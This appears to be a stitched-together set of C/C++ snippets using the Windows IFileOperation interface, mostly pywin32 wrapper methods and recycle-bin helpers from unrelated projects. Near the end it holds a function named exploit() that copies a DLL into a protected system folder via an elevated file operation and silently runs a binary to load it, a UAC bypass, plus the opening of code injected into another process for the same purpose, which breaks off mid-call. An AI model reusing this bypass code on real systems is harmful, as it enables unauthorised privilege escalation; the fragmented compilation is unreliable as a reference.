// @pymethod |PyIFileOperation|CopyItems|Adds multiple copy operations to the configuration PyObject *PyIFileOperation::CopyItems(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIUnknown>|Items||<o PyIShellItemArray>, <o PyIDataObject>, or <o PyIEnumShellItems> containing items to be copied // @pyparm <o PyIShellItem>|DestinationFolder||Folder into which they will be copied PyObject *obItems; PyObject *obDestinationFolder; IUnknown * pItems; IShellItem * pDestinationFolder; if ( !PyArg_ParseTuple(args, "OO:CopyItems", &obItems, &obDestinationFolder) ) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obItems, IID_IUnknown, (void **)&pItems, FALSE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obDestinationFolder, IID_IShellItem, (void **)&pDestinationFolder, FALSE)) { PYCOM_RELEASE(pItems); return NULL; } HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->CopyItems( pItems, pDestinationFolder ); pItems->Release(); pDestinationFolder->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|DeleteItem|Adds a delete operation to the configuration PyObject *PyIFileOperation::DeleteItem(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIShellItem>|Item||Description for psiItem // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation PyObject *obItem; PyObject *obSink = Py_None; IShellItem * pItem; IFileOperationProgressSink * pSink; if (!PyArg_ParseTuple(args, "O|O:DeleteItem", &obItem, &obSink)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) { PYCOM_RELEASE(pItem); return NULL; } HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->DeleteItem(pItem, pSink); pItem->Release(); if (pSink) pSink->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|RenameItems|Adds multiple renames to the operation sequence PyObject *PyIFileOperation::RenameItems(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIUnknown>|pUnkItems||<o PyIShellItemArray>, <o PyIDataObject>, or <o PyIEnumShellItems> containing items to be renamed // @pyparm str|NewName||New name for all items. Collisions handled automatically. PyObject *obItems; PyObject *obNewName; IUnknown * pItems; TmpWCHAR NewName; if (!PyArg_ParseTuple(args, "OO:RenameItems", &obItems, &obNewName)) return NULL; if (!PyWinObject_AsWCHAR(obNewName, &NewName, FALSE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obItems, IID_IUnknown, (void **)&pItems, FALSE)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->RenameItems(pItems, NewName); pItems->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|PerformOperations|Effects all configured file system modifications PyObject *PyIFileOperation::PerformOperations(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->PerformOperations( ); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod boolean|PyIFileOperation|GetAnyOperationsAborted|Determines if any operations were terminated PyObject *PyIFileOperation::GetAnyOperationsAborted(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; BOOL AnyOperationsAborted; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->GetAnyOperationsAborted( &AnyOperationsAborted ); PY_INTERFACE_POSTCALL; if (FAILED(hr)) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); return PyBool_FromLong(AnyOperationsAborted); }
// @pymethod |PyIFileOperation|CopyItem|Adds a copy operation to the configuration PyObject *PyIFileOperation::CopyItem(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIShellItem>|Item||Item to be copied // @pyparm <o PyIShellItem>|DestinationFolder||Folder into which it will be copied // @pyparm str|CopyName|None|New name for the copied file, use None to keep original name // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation PyObject *obItem; PyObject *obDestinationFolder; PyObject *obCopyName = Py_None; PyObject *obSink = Py_None; IShellItem * pItem; IShellItem * pDestinationFolder; TmpWCHAR CopyName; IFileOperationProgressSink * pSink; if (!PyArg_ParseTuple(args, "OO|OO:CopyItem", &obItem, &obDestinationFolder, &obCopyName, &obSink)) return NULL; if (!PyWinObject_AsWCHAR(obCopyName, &CopyName, TRUE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obDestinationFolder, IID_IShellItem, (void **)&pDestinationFolder, FALSE)) { PYCOM_RELEASE(pItem); return NULL; } if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) { PYCOM_RELEASE(pItem); PYCOM_RELEASE(pDestinationFolder); return NULL; } HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->CopyItem( pItem, pDestinationFolder, CopyName, pSink); pItem->Release(); pDestinationFolder->Release(); if (pSink) pSink->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
bool MoveFileOrFolderToRecycleBin(const string_t& sFileOrFolderPath) { // Initialize COM cComScope com; // Create COM instance of IFileOperation IFileOperation* pfo = nullptr; HRESULT hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo)); if (SUCCEEDED(hr)) { ASSERT(pfo != nullptr); // Set parameters for current operation hr = pfo->SetOperationFlags( FOF_SILENT | // Don't display a progress dialog FOF_NOERRORUI // Don't display any error messages to the user ); if (SUCCEEDED(hr)) { // Create IShellItem instance associated to file to delete IShellItem* psiFileToDelete = nullptr; hr = SHCreateItemFromParsingName(sFileOrFolderPath.c_str(), NULL, IID_PPV_ARGS(&psiFileToDelete)); if (SUCCEEDED(hr)) { ASSERT(psiFileToDelete != nullptr); // Declare this shell item (file) to be deleted hr = pfo->DeleteItem(psiFileToDelete, NULL); } // Cleanup file-to-delete shell item COM_SAFE_RELEASE(psiFileToDelete); if (SUCCEEDED(hr)) { // Perform the deleting operation hr = pfo->PerformOperations(); } } } // Cleanup file operation object COM_SAFE_RELEASE(pfo); if (!SUCCEEDED(hr)) { std::wcerr<<"MoveFileOrFolderToRubbishBin Error moving \""<<sFileOrFolderPath<<"\" to the recycle bin"<<std::endl; return false; } return true; }
// @pymethod |PyIFileOperation|NewItem|Creates a new file as part of the operation PyObject *PyIFileOperation::NewItem(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIShellItem>|DestinationFolder||Folder in which to create the file // @pyparm int|FileAttributes||Combination of win32con.FILE_ATTRIBUTE_* flags // @pyparm str|Name||Name of the new file // @pyparm str|TemplateName|None|Template file used to initialize the new file // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for just this operation PyObject *obDestinationFolder; PyObject *obName; PyObject *obTemplateName = Py_None; PyObject *obSink = Py_None; IShellItem * pDestinationFolder; DWORD FileAttributes; TmpWCHAR Name; TmpWCHAR TemplateName; IFileOperationProgressSink * pSink; if (!PyArg_ParseTuple(args, "OkO|OO:NewItem", &obDestinationFolder, &FileAttributes, &obName, &obTemplateName, &obSink)) return NULL; if (!PyWinObject_AsWCHAR(obName, &Name, FALSE)) return NULL; if (!PyWinObject_AsWCHAR(obTemplateName, &TemplateName, TRUE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obDestinationFolder, IID_IShellItem, (void **)&pDestinationFolder, FALSE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) { PYCOM_RELEASE(pDestinationFolder); return NULL; } HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->NewItem(pDestinationFolder, FileAttributes, Name, TemplateName, pSink); pDestinationFolder->Release(); if (pSink) pSink->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|SetOperationFlags|Sets option flags for the operation PyObject *PyIFileOperation::SetOperationFlags(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm int|OperationFlags||Combination of shellcon.FOF_* and FOFX_* flags DWORD OperationFlags; if ( !PyArg_ParseTuple(args, "k:SetOperationFlags", &OperationFlags) ) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->SetOperationFlags(OperationFlags); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|Unadvise|Disconnects a progress sink PyObject *PyIFileOperation::Unadvise(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm int|Cookie||Identifies the sink to disconnect, as returned by <om PyIFileOperation.Advise> DWORD dwCookie; if ( !PyArg_ParseTuple(args, "k:Unadvise", &dwCookie) ) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->Unadvise( dwCookie ); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|SetOwnerWindow|Sets the parent window for any UI displayed. PyObject *PyIFileOperation::SetOwnerWindow(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyHANDLE>|Owner||Handle to parent window HWND Owner; if ( !PyArg_ParseTuple(args, "O&:SetOwnerWindow", PyWinObject_AsHANDLE, &Owner)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->SetOwnerWindow(Owner); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
bool MoveToTrash::exec() const { HRESULT result = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); if (!SUCCEEDED(result)) return false; IFileOperation *fo = nullptr; result = CoCreateInstance(CLSID_FileOperation, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&fo)); if (!SUCCEEDED(result)) { CoUninitialize(); return false; } ulong flags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT; // if (QSysInfo::windowsVersion() >= QSysInfo::WV_WINDOWS8) // flags |= FOFX_RECYCLEONDELETE; result = fo->SetOperationFlags(flags); if (SUCCEEDED(result)) { IShellItem *iShellItem = nullptr; result = SHCreateItemFromParsingName(path.toStdWString().c_str(), nullptr, IID_PPV_ARGS(&iShellItem)); if (SUCCEEDED(result)) { result = fo->DeleteItem(iShellItem, nullptr); iShellItem->Release(); } if (SUCCEEDED(result)) result = fo->PerformOperations(); } fo->Release(); CoUninitialize(); return SUCCEEDED(result); }
// @pymethod |PyIFileOperation|SetProgressMessage|Not implemented. PyObject *PyIFileOperation::SetProgressMessage(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm str|Message||Description for Message PyObject *obMessage; TmpWCHAR Message; if ( !PyArg_ParseTuple(args, "O:SetProgressMessage", &obMessage) ) return NULL; if (!PyWinObject_AsWCHAR(obMessage, &Message)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->SetProgressMessage(Message); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|SetProgressDialog|Provides an interface used to display a progress dialog // @comm IOperationsProgressDialog is not yet supported PyObject *PyIFileOperation::SetProgressDialog(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIOperationsProgressDialog>|popd||Progress dialog interface PyObject *obpopd; IOperationsProgressDialog * popd; if ( !PyArg_ParseTuple(args, "O:SetProgressDialog", &obpopd) ) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obpopd, IID_IOperationsProgressDialog, (void **)&popd, FALSE)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->SetProgressDialog( popd ); popd->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|SetProperties|Specifies a set of properties to be changed. // @comm Note that these properties will be set for *any* files created by the operation, not // just items passed to ApplyPropertiesToItem(s). New items created as the result of a // rename, copy, or move must have a property handler, or the operation fails with the vague // <nl>com_error: (-2147467259, 'Unspecified error', None, None) (E_FAIL, or 0x80004005 in hex) // even though the given file operation was actually performed. PyObject *PyIFileOperation::SetProperties(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIPropertyChangeArray>|proparray||Sequence of property changes to be performed (see <om propsys.PSCreatePropertyChangeArray>) PyObject *obpproparray; IPropertyChangeArray * pproparray; if ( !PyArg_ParseTuple(args, "O:SetProperties", &obpproparray) ) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obpproparray, IID_IPropertyChangeArray, (void **)&pproparray, FALSE)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->SetProperties( pproparray ); pproparray->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|ApplyPropertiesToItem|Specifies the item that will receive property changes PyObject *PyIFileOperation::ApplyPropertiesToItem(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIShellItem>|Item||The item to which property changes will be applied PyObject *obpsiItem; IShellItem * psiItem; if ( !PyArg_ParseTuple(args, "O:ApplyPropertiesToItem", &obpsiItem) ) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obpsiItem, IID_IShellItem, (void **)&psiItem, FALSE)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->ApplyPropertiesToItem( psiItem ); psiItem->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod int|PyIFileOperation|Advise|Connects an event sink to receive updates // @rdesc Returns a cookie to be passed to <om PyIFileOperation.Unadvise> to disconnect PyObject *PyIFileOperation::Advise(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyGFileOperationProgressSink>|Sink||Interface that receives progress updates PyObject *obpfops; IFileOperationProgressSink * pfops; DWORD Cookie; if ( !PyArg_ParseTuple(args, "O:Advise", &obpfops) ) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obpfops, IID_IFileOperationProgressSink, (void **)&pfops, FALSE)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->Advise( pfops, &Cookie ); pfops->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); return PyLong_FromUnsignedLong(Cookie); }
// @pymethod |PyIFileOperation|ApplyPropertiesToItems|Specifies multiple items that will receive property changes PyObject *PyIFileOperation::ApplyPropertiesToItems(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIUnknown>|Items||<o PyIShellItemArray>, <o PyIDataObject>, or <o PyIEnumShellItems> containing the target items PyObject *obpunkItems; IUnknown * punkItems; if ( !PyArg_ParseTuple(args, "O:ApplyPropertiesToItems", &obpunkItems) ) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obpunkItems, IID_IUnknown, (void **)&punkItems, FALSE)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->ApplyPropertiesToItems( punkItems ); punkItems->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyIFileOperation|RenameItem|Adds a rename to the operation sequence PyObject *PyIFileOperation::RenameItem(PyObject *self, PyObject *args) { IFileOperation *pIFO = GetI(self); if ( pIFO == NULL ) return NULL; // @pyparm <o PyIShellItem>|Item||The item to be renamed // @pyparm str|NewName||The new name // @pyparm <o PyGFileOperationProgressSink>|Sink|None|Progress sink for this operation only. PyObject *obItem, *obNewName, *obSink = Py_None; IShellItem * pItem; TmpWCHAR NewName; IFileOperationProgressSink * pSink; if ( !PyArg_ParseTuple(args, "OO|O:RenameItem", &obItem, &obNewName, &obSink)) return NULL; if (!PyWinObject_AsWCHAR(obNewName, &NewName, FALSE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obItem, IID_IShellItem, (void **)&pItem, FALSE)) return NULL; if (!PyCom_InterfaceFromPyInstanceOrObject(obSink, IID_IFileOperationProgressSink, (void **)&pSink, TRUE)) { PYCOM_RELEASE(pItem); return NULL; } HRESULT hr; PY_INTERFACE_PRECALL; hr = pIFO->RenameItem(pItem, NewName, pSink); pItem->Release(); if (pSink) pSink->Release(); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pIFO, IID_IFileOperation ); Py_INCREF(Py_None); return Py_None; }
void exploit(BypassUacPaths const * const paths) { const wchar_t *szElevArgs = L""; const wchar_t *szEIFOMoniker = NULL; PVOID OldValue = NULL; IFileOperation *pFileOp = NULL; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; BOOL bComInitialised = FALSE; const IID *pIID_EIFO = &__uuidof(IFileOperation); const IID *pIID_EIFOClass = &__uuidof(FileOperation); const IID *pIID_ShellItem2 = &__uuidof(IShellItem2); dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir); dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64); dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll); dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull); dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull); dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath); do { if (CoInitialize(NULL) != S_OK) { dprintf("[BYPASSUACINJ] Failed to initialize COM"); break; } bComInitialised = TRUE; if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK) { dprintf("[BYPASSUACINJ] Couldn't create EIFO instance"); break; } if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK) { dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op."); break; } if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK) { dprintf("[BYPASSUACINJ] Unable to create item from name (source)"); break; } if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK) { dprintf("[BYPASSUACINJ] Unable to create item from name (destination)"); break; } if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK) { dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll"); break; } /* Copy the DLL file to the target folder*/ if (pFileOp->PerformOperations() != S_OK) { dprintf("[BYPASSUACINJ] Unable to copy elev dll"); break; } /* Execute the target binary */ SHELLEXECUTEINFOW shinfo; ZeroMemory(&shinfo, sizeof(shinfo)); shinfo.cbSize = sizeof(shinfo); shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; shinfo.lpFile = paths->szElevExeFull; shinfo.lpParameters = szElevArgs; shinfo.lpDirectory = paths->szElevDir; shinfo.nShow = SW_HIDE; Wow64DisableWow64FsRedirection(&OldValue); if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL) { WaitForSingleObject(shinfo.hProcess, 10000); CloseHandle(shinfo.hProcess); } if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) || NULL == pSHIDelete) { dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)"); break; } if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) { dprintf("[BYPASSUACINJ] Failed to prepare op for delete"); break; } if (pFileOp->PerformOperations() == S_OK) { dprintf("[BYPASSUACINJ] Successfully deleted dll"); // bail out this point because we don't need to keep trying to delete break; } SAFERELEASE(pSHIDelete); // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see: // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete) || NULL == pSHIDelete) { dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)"); break; } if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL)) { dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)"); break; } if (pFileOp->PerformOperations() == S_OK) { dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process"); } else { dprintf("[BYPASSUACINJ] Failed to delete target DLL"); } } while (0); SAFERELEASE(pSHIDelete); SAFERELEASE(pSHIDestination); SAFERELEASE(pSHISource); SAFERELEASE(pFileOp); if (bComInitialised) { CoUninitialize(); } }
bool OsShell::deleteItems(const std::vector<std::wstring>& items, bool moveToTrash, void * parentWindow) { ComInitializer comInitializer; assert_r(parentWindow); std::vector<ITEMIDLIST*> idLists; for (auto& path: items) { __unaligned ITEMIDLIST* idl = ILCreateFromPathW(path.c_str()); if (!idl) { for (auto& pid : idLists) ILFree(pid); qInfo() << "ILCreateFromPathW" << "failed for path" << QString::fromWCharArray(path.c_str()); return false; } idLists.push_back(idl); assert_r(idLists.back()); } IShellItemArray * iArray = 0; HRESULT result = SHCreateShellItemArrayFromIDLists((UINT)idLists.size(), (LPCITEMIDLIST*)idLists.data(), &iArray); // Freeing memory for (auto& pid: idLists) ILFree(pid); idLists.clear(); if (!SUCCEEDED(result) || !iArray) { qInfo() << "SHCreateShellItemArrayFromIDLists failed"; return false; } IFileOperation * iOperation = 0; result = CoCreateInstance(CLSID_FileOperation, 0, CLSCTX_ALL, IID_IFileOperation, (void**)&iOperation); if (!SUCCEEDED(result) || !iOperation) { qInfo() << "CoCreateInstance(CLSID_FileOperation, 0, CLSCTX_ALL, IID_IFileOperation, (void**)&iOperation) failed"; return false; } result = iOperation->DeleteItems(iArray); if (!SUCCEEDED(result)) { qInfo() << "DeleteItems failed"; } else { if (moveToTrash) { result = iOperation->SetOperationFlags(FOF_ALLOWUNDO); } else result = iOperation->SetOperationFlags(FOF_WANTNUKEWARNING); if (!SUCCEEDED(result)) qInfo() << "SetOperationFlags failed"; result = iOperation->SetOwnerWindow((HWND) parentWindow); if (!SUCCEEDED(result)) qInfo() << "SetOwnerWindow failed"; result = iOperation->PerformOperations(); if (!SUCCEEDED(result) && result != COPYENGINE_E_USER_CANCELLED) { qInfo() << "PerformOperations failed"; if (result == COPYENGINE_E_REQUIRES_ELEVATION) qInfo() << "Elevation required"; } else result = S_OK; } iOperation->Release(); iArray->Release(); return SUCCEEDED(result); }
static DWORD WINAPI RemoteCodeFunc(LPVOID lpThreadParameter) { // This is the injected code of "part 1." // As this code is copied into another process it cannot refer to any static data (i.e. no string, GUID, etc. constants) // and it can only directly call functions that are within Kernel32.dll (which is all we need as it lets us call // LoadLibrary and GetProcAddress). The data we need (strings, GUIDs, etc.) is copied into the remote process and passed to // us in our InjectArgs structure. // The compiler settings are important. You have to ensure that RemoteCodeFunc doesn't do any stack checking (since it // involves a call into the CRT which may not exist (in the same place) in the target process) and isn't made inline // or anything like that. (Compiler optimizations are best turned off.) You need RemoteCodeFunc to be compiled into a // contiguous chunk of assembler that calls/reads/writes nothing except its own stack variables and what is passed to it via pArgs. // It's also important that all asm jump instructions in this code use relative addressing, not absolute. Jumps to absolute // addresses will not be valid after the code is copied to a different address in the target process. Visual Studio seems // to use absolute addresses sometimes and relative ones at other times and I'm not sure what triggers one or the other. For example, // I had a problem with it turning a lot of the if-statements in this code into absolute jumps when compiled for 32-bit and that // seemed to go away when I set the Release build to generate a PDF file, but then they came back again. // I never had this problem in February, and 64-bit builds always seem fine, but now in June I'm getting the problem with 32-bit // builds on my main machine. However, if I switch to the older compiler install and older Windows SDK that I have on another machine // it always builds a working 32-bit (and 64-bit) version, just like it used to. So I guess something in the compiler/SDK has triggered // this change but I don't know what. It could just be that things have moved around in memory due to a structure size change and that's // triggering the different modes... I don't know! // // So if the 32-bit version crashes the process you inject into, you probably need to work out how to convince the compiler // to generate the code it used to in February. :) Or you could write some code to fix up the jump instructions after copying them, // or hand-code the 32-bit asm (seems you can ignore 64-bit as it always works so far), or find a style of if-statement (or equivalent) // that always generates relative jumps, or whatever... // // Take a look at the asm_code_issue.png image that comes with the source to see what the absolute and relative jumps look like. // // PS: I've never written Intel assembler, and it's many years since I've hand-written any type of assembler, so I may have the wrong end // of the stick about some of this! Either way, 32-bit version works when built on my older compiler/SDK install and usually doesn't on // the newer install. InjectArgs * pArgs = reinterpret_cast< InjectArgs * >(lpThreadParameter); // Use an elevated FileOperation object to copy a file to a protected folder. // If we're in a process that can do silent COM elevation then we can do this without any prompts. HMODULE hModuleOle32 = pArgs->fpLoadLibrary(pArgs->szOle32); HMODULE hModuleShell32 = pArgs->fpLoadLibrary(pArgs->szShell32); if (hModuleOle32 && hModuleShell32) { // Load the non-Kernel32.dll functions that we need. W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPVOID pvReserved) > tfpCoInitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoInitialize ); W7EUtils::GetProcAddr< void (STDAPICALLTYPE *)(void) > tfpCoUninitialize( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoUninitialize ); W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) > tfpCoGetObject( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoGetObject ); W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) > tfpCoCreateInstance( pArgs->fpGetProcAddress, hModuleOle32, pArgs->szCoCreateInstance ); W7EUtils::GetProcAddr< HRESULT (STDAPICALLTYPE *)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) > tfpSHCreateItemFromParsingName( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szSHCreateItemFPN ); W7EUtils::GetProcAddr< BOOL (STDAPICALLTYPE *)(LPSHELLEXECUTEINFOW lpExecInfo) > tfpShellExecuteEx( pArgs->fpGetProcAddress, hModuleShell32, pArgs->szShellExecuteExW ); if (0 != tfpCoInitialize.f && 0 != tfpCoUninitialize.f && 0 != tfpCoGetObject.f && 0 != tfpCoCreateInstance.f && 0 != tfpSHCreateItemFromParsingName.f && 0 != tfpShellExecuteEx.f) { if (S_OK == tfpCoInitialize.f(NULL)) { BIND_OPTS3 bo; for(int i = 0; i < sizeof(bo); ++i) { reinterpret_cast< BYTE * >(&bo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs. bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER; // For testing other COM objects/methods, start here. { IFileOperation *pFileOp = 0; IShellItem *pSHISource = 0; IShellItem *pSHIDestination = 0; IShellItem *pSHIDelete = 0; // This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection. if ( (pArgs->szEIFOMoniker && S_OK == tfpCoGetObject.f( pArgs->szEIFOMoniker, &bo, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp))) || (pArgs->pIID_EIFOClass && S_OK == tfpCoCreateInstance.f( *pArgs->pIID_EIFOClass, 